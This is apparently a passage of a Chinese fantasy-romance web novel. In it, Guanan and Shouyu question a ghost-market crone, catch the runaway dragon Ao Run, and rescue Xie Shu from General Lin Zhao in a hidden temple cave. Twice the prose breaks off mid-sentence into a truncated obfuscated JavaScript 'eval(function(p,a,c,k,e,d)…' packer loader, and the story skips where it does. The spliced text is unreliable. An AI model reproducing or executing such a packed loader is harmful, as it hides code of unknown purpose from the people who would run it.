鬼气受久了会损人精元。她是妖,是不怕这些的,只是守玉受得住么? 便往他看去,他正仔细打量街边铺面。 她拽他袖子,待他回身来看,“你觉着怎么样?若是不适便莫要逞强了,我一人便可。” “我无事。”他含笑摇头,“娘子怕不怕?” “这有什么可怕。”她曾随师尊去过十八间阿鼻地狱,其间俱是些毫无人样的烈鬼,肝肠脑花皆流了一地。此等寻常鬼市自然是吓不着她的。 倒是守玉瞧着温温柔柔的,这辈子见过恶鬼么? 观南疑心是他怕了却不敢说。便狐疑望他一眼,善解人意地将斩仙剑递过去:“你若是怕了便拿着。” 守玉噎了片刻,她从他面上竟瞧见些好笑的神情。听得他终究是道:“多谢娘子好意了。” 他接了那把剑,又俯身给她别回腰侧:“只是我着实是不怕的,这剑娘子还是自己拿着罢。” 她观他面色,似是并无所惧。那股梨花甜味还在他身上萦着,不知怎地心下安定不少。便哦一声,也不强求。 总归有她护着他就是了。 鬼市上亦有鬼铺。观南瞧着守玉去了左侧铺间,亦提步跟上去。 他将檐上风铃一晃,片刻后柜下冒出个满面皱纹的老婆婆来,头上红布瞧着有些年份了,开口声音便是嘶哑:“二位要些什么?” “我寻个人。”守玉同她比划,“大娘见过没有?是个同我一般高,身穿水青衣裳的男子,蹿得飞快过去了。” “见过是见过的。”这老婆婆眯眼将他二人上下打量一番,却并不直说:“二位瞧着是外头才来的,身上阳气也重,恐怕不晓得我们这的规矩。但凡打听些甚么,都要给鬼钱的。” 鬼钱?他二人哪有这东西。 守玉并不就此作罢:“没别的法子了么?” “法子自然也是有的。”老婆婆诡异一笑,“便是二位各与我一件贴身之物,来日入土亦当了鬼,我便能靠着此物寻至二位。” 这鬼属实是贪心,贴身之物怎可随意赠人。观南正要拔剑,忽得被他按住。 便见守玉冲这老婆婆神秘一笑:“老人家,我实话告诉你罢。你可晓得我身旁这位是谁么?” 老婆婆半信半疑地看过来:“一个刚出闺阁的小娘子么,还能是谁?” 观南将剑收回去,心下亦生出几分好奇:她还能是谁?他能怎么编? “此乃我鬼域鬼王!”他肃容,低声道:“你瞧见她唇上那点艳红没有?俱是方才食妖怪留下的。且你就不奇怪,十五已过,我二人是怎地进来的么?” 鬼域鬼王!这名头属实是有些吓人了,她下意识去碰自己的唇瓣。瞧着当真像是吃了人的么? 她无言半晌,心中对此人胡扯的本领又多了些认知。想到这鬼市中人生前大多皆是贫苦百姓,一时也微微心虚起来。 这张脸平日里本就瞧着阴白,如今鬼灯冷冷一照,如今她虽只面无表情站着不言不语,却更显得有吃人妖怪的模样了。 这世上竟还有鬼域?! 老婆婆悚然一惊,竟当真有些信了,连忙问守玉:“那你是谁?” “我?”他莞尔一笑:“我是我们大王的侍从。我们都不是人呐,你试试我的手。” 老婆婆一碰至他手便猛地缩回来:这也太冰了!怎么比她这个鬼还更像鬼? 守玉笑眯眯收了手,往观南身旁靠近。 老婆婆听见侍从两字,又忍不住将面前两张美艳不似凡人的脸来回看看,不自觉更信了几分。这样的姿容,瞧着确实像鬼。 侍从? 恐怕这人是她男宠才对罢! 难不成刚刚跑过去那个亦是这女鬼裙下之臣之一,这是带上新欢捉人来了?! 她当鬼前亦是市坊中一寻常妇人,顷刻间便暗自思忖出一幅鬼域大戏,连忙不敢再想。且这二人看着确实不好招惹,还是小心为上好。 她便讷讷道:“好罢。我瞧见那人往鬼市西去了。” “这便是了。”守玉颔首,作信誓旦旦状:“你老人家此次可谓是立了大功,待我大王回至鬼域,封你个冥官——” 剩下的话还没说完他便哎哎起来。观南忍无可忍,拽着他袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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恰逢此时巷中突然出来了人,观南下意识望过去,忽得瞧见此人身后院中,一方水青衣角。 守玉正要说话,便见她飞快闪了出去。下一瞬水青身影自院中飞快跃了出去,观南回身喊他:“快追!” 倒是将方才这鬼魂吓了一跳,手中灯笼坠在地上。他来不及看他,匆匆瞧了一眼便飞身追过去。 这人轻功非常之好,如今观南守玉两人紧紧追在他身后,也只是身形乱了些许。他忽得瞧见眼下黢黑的湖面,来不及细想便一头扎了进去。 两人到了湖边止步。这湖并不大,湖水漆黑如墨,面上瞧不见一点波澜。观南蹙眉:“这水没蹊跷么?他就这样进去了?” 守玉踞腿一触,指尖沾上些许细细闻了片刻。“不是血,却也不是水……倒也真是敢。他是觉着自己水性好么?” 他正要回身叫观南来看,却见她已经摘了头面挽起裙边,骤然一顿:“娘子?” 她抬眼:“怎么?” 他抿唇,一时间有些想笑:“我有法子,不需你下水。” 怎么不早说。她已摘了一手的头面,此刻披着头发神情莫测地看他:“什么法子?” “便是有法子。头面你先放着罢,待会我来给你扎。”将观南唤过来,守玉便将手虚虚覆上湖面。掌下飞快生了一层冰出来,冰层往湖周边扩散开去。 不过半刻,冰层便冻住整座黑湖。 他起身笑道:“看他能忍到几时。” 观南倒是不知,原来他会使冰。 他比旁人冷上太多,肌肤摸着跟座冰山似的便是这个缘由么? 忽见那湖面中咔咔作响起来,两人一同看去,只见那人猛地捅破了冰层浮上来,浑身湿漉漉地还淌着水,瞧着狼狈极了。 守玉手中已抽出捆仙索,待看见这人样貌,忽得挑眉笑了一声。 他自冰层上行至那人身前,似笑非笑地蹲身看他:“不跑了?” 那人认命般阖眼,唤他:“师伯。” 观南眼皮一跳。 16. 转魂丹 师伯? 那人浑身还淌着黑水,灰溜溜从冰层上撑着身子起来,水青袍子已脏得看不出颜色。 观南正要过去,忽见他胸口鼓鼓囊囊处一动,探出一只翡翠色蛇头来。 她下意识伸手:“小白?” 青蛇嘶嘶从这人胸口蹿出来,毫无眷恋地溜进她怀里。 这人哎一声要去捉它,却被守玉手中折扇毫不留情劈在头上,一时间痛苦嚎叫起来:“师伯!你又打我!” “打的就是你。”守玉抱臂笑着瞧他,只是眼中并无笑意,“脏得跟个泥猴子一样。师兄不是让你好生养着?放着好好的龙宫不待,跑来建康做甚?” 这人哼哼道:“我已在龙宫待了将近两百年了……如今出来东土看看嘛,我父王也允了的。” 守玉懒得同他追究这两百年是真是假,瞥一眼观南,见她正蹲身揪着袖口给小白擦身子,便将自己帕子递予她。 她仰头道了句谢,接过帕子便细细擦拭起来。 掌下小白不安分地扭着身子,被她好生训了一顿:“你是狗还是蛇?瞧见个像主人的就着急凑上去跟人跑了,若是我寻不到你,若是他欲加害与你呢?” 小白挨了训也老实不少,观南蹙眉,大抵是还想再说它几句,却被讨好地蹭上脸颊,一肚子气也出不来了。 守玉觉得这场面颇有些好笑。 回身一看,便宜师侄还眼巴巴瞧着他,守玉略微嫌弃地退了一步:“我师兄没教你净身的术法?” “哪能啊,我会,我会的。”这人随手唤了水出来净身,见师伯身旁还跟着位姑娘,嘴比脑子快:“这是师伯母么?师伯你不当孤家寡人啦?” 观南没听见这句。她起身站至他身边来,眼神在此人额边龙角上扫过。 守玉目光从她眉间划过,并未作答,只伸出手来:“赤焰花呢?” 赤焰花? 他下意识伸手捂住衣裳,一时讷讷。 守玉见他目光闪躲的样,眯眼:“不愿给?你有用?——救人?” 便宜师侄答非所问,慢慢往一旁蹭去:“师伯,看在你我皆是玉虚同门的份上,不能将此物给我么?我着实是急需它有用……” 他嗤笑:“说得好像我没用似的。” 见此人仍磨磨唧唧吞吐不敢言的模样,便抽出捆仙索,“不愿给便不愿给罢,我直接取也一样。” 便宜师侄见他掏了捆仙索出来,如泄了气一般不说话了。这鬼市也就这点小,虽不晓得这俩人怎么进来,可他是着实没法子出去的…… 正想着干脆合盘托出算了,一睁眼,眼前却挡了人。 守玉亦是顿住,“娘子?” 观南将他拦住,眼神直直瞧着这个方才从黑水中爬出的年轻人:“你要救谁?” 这人愕然瞧着她。 她平静道:“我想你大抵做的不是什么坏事。既是如此,兴许我也能帮你一帮。” …… 近来的时日称不得好。庄稼收成节节锐减,建康还闹了瘟疫。天也灰蒙蒙望不着边,仿佛有千斤担子压在人身上,直教人喘不过气来。 他见着她那一天,临漳下了莫大的雨。 她一人拉着木板车在泥泞路上走着,过往行人匆匆瞥她一眼,忙捂着鼻子飞快跑了。 敖润手中只一把伞,是方才从铺面中买的。他从龙宫里偷跑出来,身上没带人族钱币,便给了东家颗珍珠。东家欢喜极了,连连与他说了些好话。 如今他瞧着那姑娘在雨中狼狈的模样,回身去店里又买了把伞。 她大抵是昏过去了。靠着板车模模糊糊间又做了个梦。待她醒来,头顶却已没了雨。 恍惚仰头看去,有人执伞而来,为她蔽去簌簌冷雨。他将伞递予她,问:“还能起来么?” 她愣愣瞧着他。直至他将伞柄塞进她手中,才踉跄起了身,一时窘迫无言。 他身上衣服是花了颗珍珠买的,挑了他最喜欢的沧海纹样,想必料子很不错,她才不禁将他从头到尾打量一遍。 雨仍是不停,一旁有人匆匆瞥过。 敖润问:“这木板车上的是你什么人?” 她抿唇,道:“是我阿弟。” 原来是她阿弟。他俯身下去,在她愕然目光里将木板车牵起来,道:“我帮你罢。” “这怎么行!”她忙跪下去,却被他托住。 这是好心的贵人,怎么能同她这等贱民一般?她眼泪不住地流下来,敖润扯袖子给她拭泪,垂眼同她对视:“无事,走罢。” 敖润那时想:大抵师尊所说的缘分便是如此来的。 兴许也算不得缘分,是他先见着了她,看见她泼天雨幕中满身泥巴污秽不堪的模样,心下却觉得她可怜又可爱。 那样单薄的身躯,淋了雨都要打哆嗦发热,又怎么担起一辆乘着亲人尸骨的木板车呢? 后面的日子亦是他强求来的。他死皮赖脸缠着她,她不爱说话,他却从她嘴中晓得了她姓魏,是住在临漳的人家。 如今茕茕孑立,父母自弟弟染疫离世后便不要她了。 她住着的小破茅屋,遮不住风挡不住雨。他立在檐下,常常想着撸袖子上去替她缝补一番,却总是临到半途便摔下来。 魏姑娘总是叹气,大抵是想笑又忍住了。便将他拉至屋中唯一完好的桌前,同他道:“贵人还是坐着吧,脏活累活我来做就行了。” “阿魏,我不是贵人呀。”他窘迫:“你唤我敖润就行。” 但她还是唤他贵人。敖润同她一并出了临漳,走了三个日夜才将阿弟骸骨埋至蒋山脚下的乱葬岗。买完纸钱回来,便见她孤零零一个人坐在坟头上落泪。 他忍了许久,终究是道:“阿魏,你想做生意么?我有许多钱,兴许能置办间铺面……” 他大抵晓得如今的东土,一粒珍珠能换满缸的米。这样的珍珠他有许多,纵使阿魏不愿做生意,寻个地方买出地做庄稼也是绰绰有余的。 魏姑娘愣愣看过来,待将他看得浑身不自在时,才止了泪勉强笑道:“多谢贵人了。我却只想……让我阿弟活着。” 她信口而为,敖润却心神一动。 转魂丹……便是以龙髓加之赤焰花,再借一借老君炉鼎,不就能炼出来么? 桌上烛火倏地灭了。 鬼灯燃的是尸蜡,有人习以为常,又加了半截蜡进去。 观南静静听他说着。身侧守玉一瞬不错地盯着他,待敖润将话说完,才回身凑近她:“我瞧他说得不像是假。” “我晓得。” 如今在鬼市也并无茶水,桌上只一盏烛火。一旁还有个年轻的鬼好奇瞧着,观南问他:“因着你便来偷赤焰花,是想替她阿弟炼转魂丹?” 敖润嘟嘟囔囔:“是啊。阿魏不是热衷于黄白之物的姑娘,若她是倒好了。” 守玉挑眉:“那龙髓哪来?你父王替你养了两百年——到头来,你要为个相处不过半月之人抽了自己的龙髓?” 敖润不知被他戳中了哪根筋,自椅上烦躁起身:“师伯你懂什么!同你说了你也不懂!” 这是嘲讽他不懂爱欲呢。他嗤笑道:“我是不懂。你觉着自己了不得了,觉着自己为了这爱能生生剖了自己的龙髓——所谓爱人者,与其欢欣,宜其哀痛。魏姑娘晓得你这似海深情么?” “阿魏不晓得。她虽还未爱上我,晓得了也必定会心疼。”敖润哼哼起来,对师伯笃定道:“师伯,我便就是为了她甘愿做这些。” 守玉气笑。为着旁人将自己身中一窍分出去,世上怎会有如此蠢才? 观南听了半晌,忽得打断师伯侄间的谈话。她平静道:“魏姑娘愿意你这样做么?” 敖润一愣。 “她恐怕不晓得,你要为了她已入土的弟弟去偷去抢罢。” 她平静望着他,半张脸上隐隐烛光跃动。“我晓得你又要说我二人也是来抢这花的,可你清不清楚,整个建康乃至全国,中了蛊毒的人不计其数。你要以一人的性命,同上千百姓的命做掂量么?” ——且这一人的命早已在九泉之下了。 她瞥眼去看身侧的年轻鬼魂,他仍茫然听着三人辩驳,只字不言。 “不若你问问他,他愿意被你救么?”她叹气道:“既为游魂,便是前尘往事俱忘。我二人来前你不就在同他说话么,且不论他还记不记得他阿姐,他阿姐又当真愿意你将鬼门关的人复拽回凡间么?” 敖润脸色苍白,无言以对。 观南淡淡瞧着他:“你救的到底是人,还是你心中私欲?” 忽得一道掌声脆响,打破满堂静寂。守玉笑吟吟起身:“对不住,我觉着娘子讲的当真是好,一时情难自抑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那赤焰花必不会给你。”守玉将他上下扫过几眼,挑剔道:“你肩不能抗手不能提的,老老实实回龙宫算了——” “可以。”观南打断他,“多一人便是多一份力,你跟紧了。” 守玉猝然闭嘴,不说话了。 敖润眼看着师伯母凛然抽剑,一剑劈开鬼市大门,又看见师伯屁颠颠跟在人身后出去,心中叹为观止。 怪不得师伯跟条狗似的听师伯母的话,师伯母身怀如此绝技,想必师伯才是吃干饭的那个。 正如此想着,那头师伯已经唤他大名,忙追出去了。 外头长宵悄寂,月银如霜。 观南往建康城望去几眼,回身嘱咐这二人:“我往城中去寻,守玉去城西,你去城东,若是寻到了——” 她顿住,忽得从包中取出几样物什来。借着月辉他得以看清楚,原是一条红绳。 她唤他:“守玉,你过来些。” 那头便宜师侄目露羡艳地瞧着他。守玉按下心中莫名情绪,快步过去,便见她握住他腕子。 软的,冰凉沁润。他心中猛然一跳,便见她将那只红绳系在他腕上,结成一个死结。 这样的红绳他似乎也有一条。大抵是许久前,不知何时何地何人所赠…… 她肤色白,握住红绳的指尖纤长。他不敢再看,心猿意马地扭头默念清心咒,肌肤相贴的感触却更深。 观南不晓得他目不转睛地盯着她,心中又想些什么。她只会打死结,此刻抬眼瞧他,嘱咐道:“你若是见着了林昭,便往这红绳上滴一滴血,我便能知晓。若是打不过不要硬抗,等我过来。” 守玉同她对视,低低嗯一声。 他是玉虚宫人,元始天尊直系弟子,想必不乏自保之力。观南放下心,又唤敖润过来。 竟还有他的份?敖润目露茫然地过来,只见师伯母自袖间掏出块白玉镯,牢牢套在他右臂上。 他摩挲这镯子,“这是何物?” “此乃我下山时,师尊赠我的白玉镯,可祓凶鬼恶灵怨气,折损他精力。” 观南又将方才嘱咐守玉的话同他说了一遍,只不过此次成了探知其方位便可,打不过就跑,切记不要硬撑。 她并不放心这条年轻气盛的龙,狐疑道:“你记住了没有?” 敖润忙诚恳应了。 正放下袖子,余光中似有灼热目光钉在他腕间。他下意识缩手望过去,只见守玉默默错开眼。 ……师伯真是小气鬼! 17. 将军老 夜半三更,子时灯火。 偌大的建康城在她身下匍匐,城中一阵嚷杂声,观南仔细一看,原是塌了的宝香楼旁围了一群官兵。 满地焦灰,憔悴落魄。王相此次未来,如今派人来问,才晓得是林昭跑了。众人方知晓,原来君中素有美丈夫之称的林将军,竟是个将活人炼成傀儡的人。 鲜卑使臣被安置于宫中,而神物赤焰花不知所踪。 满城风雨尽裹在夜色里。抬眼看去,明白如昼的皇城高高耸着,依旧不动如山。 她在城中仔细搜寻一圈。诸多铺面均已关了门,宝香楼一垮街上便再无旁的显眼之物,整条街黑黢黢的。 寻常人实则不甚关心这些事,一官兵嘴中嘟嘟囔囔着铲灰:“大半夜地守城就算了,如今还被调来寻人!每月月钱也就那么些,倒还不如回屋种地。” 她从此人身旁跳下房。往身侧一看,斑驳墙上已贴了告示,下注几个大字:夺宝嫌犯,告者必有重赏。 拢共三张纸,画技稍带潦草,她凑近左看右看了半晌才认出是谁。敖润这张贴的最大,观南同守玉则是换了脸的,这告示与她二人无用。 唯有敖润一张脸被宴中人看得清清楚楚,且图上画的也挺像,万一有人见着他,不会将他报官捉去罢? 观南略有迟疑,心下稍觉后悔:敖润此人……着实不大能信。早知如此,该让他跟着守玉的。 事已至此,也只得期盼他长点心,在檐上避人走就成了。 废墟上还有几人扎堆凑在一起,表情神神秘秘。观南在一旁隐蔽了身形,才听见这几人正商议明日吃葱烧鸡爪还是藕炖猪蹄。 她一时无语,又将几十个官兵挨个听了一遍,竟无一人寻着什么有用的痕迹。 看来还得她自己去问。 街上只有一家店还燃着灯。观南孤零零一个人走着,瞧见灯火掀帘子进去,却见着了熟人的面。 原是那日的严老汉。 他正侯在榻前抹眼泪,听见人声忙起身换了笑颜:“娘子要些什么?” 观南往榻上扫去。床榻上躺着个小姑娘,半张脸都被被子捂着,剩下半张白得亳无人气,想必又是中蛊之人。便问:“你见没见着有人自宝香楼来?” “娘子亦是来寻林将军的么?”原来严老汉早已被人盘问过一遍了,向她苦笑道:“属实是未曾见过的。我这店一整日都开着,若是他从街上过去,我自然会知道。” 大抵林昭是当真跑出了城。抑或有人为他相助,直接以阵法将人送出去了? 她颔首,复瞥一眼床上,道:“莫将被褥捂她那么紧,保持气血畅通才是。” 严老汉一愣,忙向她道谢。观南随手掏出些铜板置在桌上,摇头出了帘。 泥路上有细碎粼粼月光。她缓缓往前行着,心中暗自思忖:如今只有宫中她未去过,林昭莫不是藏进了宫里? 林乃当今贵姓之一,百年望族间根杂交错,往往一人惹了祸患也有旁人荫蔽。林昭同谁交好,又同谁共事?是本朝太后,还是是她至今未曾见过面的那位王相? 几个人名从她脑中飞速闪过去,观南不自觉头疼起来,她一向不愿细究此等复杂关系。 若是守玉在此就好了。 不自觉行至了谢府门前。她正要抬步过去,忽听见朱红门中一阵哭声震天。将门推开一看,院中十几人互相奔走嚎叫,一时人声嚷杂。 一小厮从她身旁跑过去。她揪住那人领子将他提回来,“做这么这样慌乱?” 那小厮正一把鼻涕一把泪,瞧见她眼睛顿时亮起来:“仙师,是仙师!我家小姐被人掳走了!” 谢婌又被人掳走了?!她蹙眉,“到底怎么回事?” 小厮忙将事情原委同她道来:群芳宴后小姐随世子回了家中,却心神不宁,同她贴身侍女说要出门转转。谢大人忙着群芳宴的事,派了府兵跟着她,却不料小姐到了处屋中便不愿他们再跟,独自一人进去了。 府兵不放心她,始终一瞬不错地盯着,见半晌一丝声音也无,便慌张破了门进去,屋中却早已人去楼空了! 谢大人忙得焦头烂额,听见这消息险些晕过去,虽说已派了人去寻了,却至今未见动静。 观南听得险些扶额。难不成谢婌命格中带煞,才天天被人掳走? 且谢婌是至阴之体,掳她的人必有所图……难不成是林昭?可他身负重伤,还有功夫来拐走谢婌么? 忽得又想起她曾在谢婌身上下过魂印。虽说时日已久,兴许还能寻见。 忙将神魂探出去寻。她身上魂印浅了不少,却因着观南用了自己的血作引,仍然能依稀觉到些许……那一道浅浅痕迹往东去了。 她睁眼,原来在建康城东,离得不算远! 观南向这小厮叮嘱:“我晓得你家小姐身在何处了。你速速去禀告谢大人,教他去城西一百里处接人,切记多带些人去。” 小厮不晓得她一睁眼一闭眼怎么就知道了自家小姐方位,心中暗叹仙法殊妙,愈发崇敬道:“有劳仙师了,我这就去禀告谢大人。” 她转身出了谢府。 …… 东侧山下。 此处原是一座三清庙宇,只是年久失修,庙中道人也悉数下山去了。庙中香炉已结了蛛网,朽木板悬在房梁上头,风一刮便吱呀哭嚎起来。 昔日司马皇族曾于此山上祭祀。因着旁人不清楚庙中构造,不知这庙底下别有洞天。待入了后院,将暗壁上老子青牛这么一按,其后才显现出一条狭窄暗道来。 风自西往东灌,吹得暗道中烛火昏沉飘摇。借火燃灯才得以看清,庙宇下竟是一片大而空的洞穴,中央青石上凿了太极阵。 林昭粗喘着气跌在地上。 蛊毒入体,久而久之五感皆丧,他却仍下意识捂着空荡荡的右臂。 那小妮子看着清秀,不料这一剑竟直直将他右臂砍断了!若不是他动了脱身秘法,恐怕此刻早已命丧黄泉。 血止不住地自他右臂截断处涌出来,林昭唇瓣翕动,片刻后一女子自暗处出来,俯身替他包扎伤处。 这女子赫然是方才的乐师。 角落里,谢婌浑身被捆住,眼上还绑了黑布遮盖,此刻痛苦呜咽挣扎着。 她身旁是一年幼少年,此刻垂首,看不清面上颜色。 爱恨嗔痴,风月乱欲。那人对此视若无睹,只垂首去抖擞手中拂尘,道袍流地。 太极阵上尘灰遍地,他竟尚有闲情逸致将脚底枯枝败叶碾来碾去,直至成了渣滓散在土中,才惋惜似的啧一声。 林昭闭眼,冷汗自额上落下。“你救旁人,尚且有你的理。救我,又是欲求什么?” 那人回首看他,目光讥诮:“林将军说笑了,我救你自是因着留你还有用。难不成你用了我的蛊,借了我的炉,就打算这样死了了事?” 他居高临下地看他,眼神慈悲而漠然:“林昭,你要死也要死个干净。我是看你可怜才助你一臂之力,不是让你蠢到将我一并贡出去的。” “那话怎么说的来着?哦——林小侯爷性随亲父,连蠢都蠢到一处去了。” 林昭听见亲父两个字,心头痛恨难言,仅存的左手紧握成拳,又慢慢松开。 他缓缓吐出一口浊气:“国师愿救我,林昭再感激不过。自会鼎力相助,不敢忘了要事。” 国师哼笑一声,目光自阵上几人划过,悲悯抑或讽刺皆难言。手中拂尘一甩,化作一道黑烟不见了。 林昭缓缓起身,来至谢婌身前。 谢婌大抵是察觉蹊跷,挣扎得愈发猛烈。林昭伸手卡住她喉咙,将黑布扯下,见她才将一双婆娑泪眼望过来,又愕然止住。 她惊恐望着他。 林昭懂她心中想些甚么,低低笑起来:“婌儿,好侄女。你还记得我是不是?你幼时我给了你一颗糖,你便说要报答我。如今……便到了你报答我的时候了。” 谢婌不住蹬腿,徒劳无益地流泪。她并不晓得自己的将军伯父深更半夜将她捆来,究竟意欲何为。只是看这派头,多半不是甚么好事。 她不是正同玉荷说着话么?怎么就到了此处了? 彼时她在群芳宴上,见着了莲香之弟玉荷,他塞予她一张纸条,要将她唤出来说话。她本是不愿去的。可复一想到莲香,又忆起她从前悉心照料她的笑颜,还有死时的凄惨模样。 她归根到底欠了莲香一条命。这命始终似有千斤重般压在她肩上,惹得她喘不过气不得安眠,饶是梦中也惊醒,恍惚间泪流满面。 良心二字犹如悬在她头顶的一把刀。 因着她到底是出了门,到了玉荷要见她的地方。她一人进了屋中,见着了玉荷。他冷冷瞧着她,目中满是恨 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他话中恨意太浓,谢婌愣愣瞧着他。 林昭忽得大笑起来:“好!便要一命偿一命!谁欠了别人的命,便要他也偿出一条命! 你的愿——我允了!” 甚么愿望?莫不是要当即杀了她?!谢婌浑身发颤,连泪也不敢流了。 林昭平静下来,悲悯地瞧着她:“好侄女,你听见没有?不是伯父我要你的命,属实是你欠旁人的。” “这天下自古便是这样的理。你要怪就怪自己罢,谁教你先看轻了旁人的命呢?” 瞧着她发抖不止的模样,他忽得笑了:“好侄女,莫怕。你是最有用的,伯父将你留到最后再杀。” 他林昭要向全建康之人寻仇。这建康中人,又有谁无辜呢?他是罪大恶极,旁人也不见得就冰清玉洁!只不过以牙还牙,他更胜一筹罢了。 他如今四十岁,只有这一桩牵挂。眼下终要了结,去黄泉路上见他的阿梨。 林昭忽得扭头,唤那乐师过来。 女子浑浑噩噩跪在他身前。那时宝香楼被焚,她是唯一逃出来的傀儡。 三人皆在他身前,一个终要大仇得报,却不见得欣喜。一个将要命丧九泉,悲戚无人问津。还有一个生不如死,死了亦不得超生。 这俱是他的孽。 林昭闭眼,低声道:“你——有名字么?有亲人么?对不住,是我对不住你。” 她目光空洞地回他:“奴没有名。有阿弟,已死了。” 兴许此前也是有名的,但她早已忘了。 原来一个丧姊,一个丧弟。他将这几人扫过一眼,道:“不若你二人干脆——” 暗道口忽得传来响声。 林昭猝然起身,将身侧剑拔出来。他手心沁了汗水,总怕是那阎罗似的姑娘追来。 回身一看,却原是个毛头小子。 此人目瞪口呆地瞧着他,缓缓退后:“呃,我一时不查掉进来了,你信么?我不是有意,对不住,对不住,我这就走……” 林昭目光自他额边龙角划过,忽得笑了,几步上前将人卡住下颚:“原来是条龙。得来全不费工夫,既然来了就别走了,一同进我的炼丹炉罢。” 敖润一时不查,顷刻间已被人掐住脖子,一时双脚离地动弹不得。他费力去扒拉他的手,对方却更大力收紧。 他堂堂西海太子,今日便要命丧于此了么?! 正挣扎间,那白玉镯子忽得从袖中掉出来,同对方触上的一瞬间,林昭惨叫一声,撒了手。 他被砸在地上。余光中林昭捂着手呲牙咧嘴,敖润眼冒金星,卯足了力气欲站起来……下一瞬身后洞口金光乍现,雷声轰鸣。 有人翩然而至,拎着领口将他摔至身后,轻飘飘道:“真没用。” 敖润头晕眼花:“师伯……” 你怎地不早些来?!非要踩着师侄耍帅么?! 守玉笑吟吟瞧着林昭:“林将军,他的命你恐怕拿不走。” 林昭警惕盯着这年轻人:“你是谁?” “我是谁无关紧要。”他手中折扇翻涌成花,银光携雷霆之势向他刺来! 他口中笑道:“要紧的是——你今日便要命丧于此了!” 18. 玉满楼 林昭心下大骇,侧身将将躲过那道锋。 如今的世道是怎地了?怎么这一个两个年轻人均是瞧着貌美,同人动起手来却毫不留情的?! 他只得左手抬剑去挡,却不料那雪青扇子跟条蛇一般轻而易举地绕过剑沿。守玉将他剑锋往上抬去,折扇锈银边从此人脖颈上险险划开。 他饶有兴致道:“我听闻林将军昔日曾在军中以一敌十,家中所传剑法精妙至极。如今怎地使不出来了?” 他语气轻飘飘的,仿佛同他谈及一件再寻常不过的事,更令林昭想起那节断了的右臂。 这人简直将他同个老鼠一样逗弄!他心中恼意更甚:“黄口小儿,焉得如此羞辱我!” 一时气极,挑剑直直刺过去,剑上红穗晃晃悠悠。他隔着震荡的红看清对方那张脸,仍旧如玉山般平静无波。 守玉一手背在身后,伞柄将剑刃卡住,好整以暇地看他:“林将军。我想那蛊毒母体如今便在你体内,想必你也时日无多了。不若你告诉我——是谁教你这样做,再将赤焰花给我,兴许我还能留你个全尸。” 剑刃再进不得半寸。林昭手上暗自发力,怒极反笑:“白日做梦。你今日若是能杀了我,我也不必再姓林了!” “你想要赤焰花?我也不怕告诉你,赤焰花早就进我炉中了!” 大抵是想到大仇得报,林昭畅快笑起来:“待半月将花燃尽,这蛊全天下便再无解药!你想要去西域寻?彼时中蛊之人早烂成一堆泥了!” 怪不得他在他身上寻不至赤焰花的气息,原来是丢进炉中了。 守玉忽得笑了:“杀了你?我杀你做什么。” 他啪得一声将扇展开,将林昭从头看到尾,语中悠然:“不如我先将你的眼珠子抠出来,再掏你的心挖你的肝。待你身中的虫子尽数爬出来,再将这张皮趴下来当纸用。” 林昭被逼退半步,眼中熊熊怒火燃着。脖颈间汩汩涌出血来,他竟空不出手,只得怒视他。 守玉眯眼,忽道:“不成,我最不喜欢你这一双眼睛了,干脆现在就毁了罢。” 他正要动手,忽听得身后敖润尖叫道:“师伯!谢小姐!” 绣银边粼粼泛着光,与林昭眼球仅一寸之隔。 他往林昭身后看去。 那少年不知何时寻了块碎瓦,锋利的一边抵住谢婌纤细长颈。乐师跪在一旁眼神空洞地瞧着,谢婌正泪眼盈盈望着他。 玉荷嘶哑开口:“放林将军走,不然我当即便能杀了她。” 嚯。这又是谢婌哪门子孽缘? 见他停住不动了,林昭嗤笑出声:“我还当你是是为谁来的,原来你也是为了我这侄女……” 守玉没理他,将那少年发颤的手纳入眼中,忽得笑了:“你想杀她,又护林昭做甚?” “林将军收留了我——”玉荷抿唇,忽得意识到自己正被他牵着鼻子走,沉声道:“我的仇要报,恩却也不能不还。” 原是如此。守玉作恍然大悟状:“你倒是个有情有义的。” 林昭正蓄势待发,被他一扇子扇到脸上,瞬时间脸上一阵青一阵白,仿佛受了莫大的侮辱。 守玉轻飘飘地看过来:“林将军,不能老实些等着么?如今你受困于我,焉是你想死就能死的?” 他抽了捆仙索出来,干脆利落地将他捆上,回身嘱咐便宜师侄:“看好了。” 敖润忙不迭点头。 “林昭必须死——不是今日,便是明日。”他起身,回身去看掐住谢婌脖颈的少年,一手悄然藏于身后去取针。 “我若是放了林昭,对不住的可就是全建康之百姓。” “且他收养你究竟是瞧你可怜,还是觉着你尚可利用?”他缓步过去,语气愈发轻柔:“兴许你体内亦被他下了蛊呢,是不是?” 少年显然未曾如此想过,一时愣怔在地,目中茫然片刻。 便是此刻!守玉飞快抽针,自指尖射出去。 细细银光一闪,如春后雨丝般难察。 千钧一发。 却有人比他更快。 那柄曾斩天劈海的剑自他头顶越过,璀璨光华皆敛。他竟悄然无觉,似空中一道隐隐的波,到了少年身前才被人看清。 剑刃直直捅进他左膀——正是拿着碎瓦片的手所在之处。少年惨叫一声,下意识捂住胳膊往后倒去。那乐师忙搀住他。 谢婌趁机挣脱出来,直直掠过他,往他身后飞奔而去:“仙师!” 她一头栽进来人怀里,眼泪水不要命地涌出来。 观南眼神瞧着那少年,却是在问她:“你要留他一命么?” 既是谢婌自己种下的果,也该由她自己来定。 谢婌摇头:“仙师,仙师,劳烦你送我回府……是我对不住他,放了他,放了他罢。” 守玉回身,便看见观南低头去哄她,从袖中掏了帕子出来为谢婌拭泪。 她手中还是他的帕子,忙得甚至未看他一眼。 他给她的物什,如今却被擦上旁人泪水。他莫名心中有些不快,半晌才将这点情绪按耐下去。 余光中,敖润正站在林昭身前耀武扬威:“被捆了吧?动弹不得了吧?”见林昭咬牙切齿看着他,更是恶向胆边生,伸腿出去狠狠给了他一脚:“你还敢瞪我?!让你方才掐我脖子!你真是应得的,死有余辜!” 见守玉过来,他狗腿地退至一旁去,仍不忘同林昭放狠话:“你完了!看我师伯怎么收拾你!” 